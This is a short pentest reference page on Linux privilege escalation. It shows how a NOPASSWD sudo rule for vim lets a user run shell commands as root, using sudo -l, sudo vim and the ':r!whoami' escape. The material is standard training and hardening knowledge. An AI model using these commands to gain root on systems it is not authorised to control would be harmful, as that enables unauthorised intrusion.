> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-vim-privilege-escalation.md).

# Sudo Vim Privilege Escalation

Sudo vim command might be vulnerable to privilege escalation (PrivEsc).

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-vim-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
sudo -l

(ALL) NOPASSWD: vim example.txt
Copied!
```

If we can execute **"vim"** command as root, we can execute the shell command in the vim editor.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-vim-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

Simply run **"vim"** command as root.

```sh
sudo vim example.txt
Copied!
```

In Vim editor, we can run shell commands as root.

```sh
:r!whoami
```
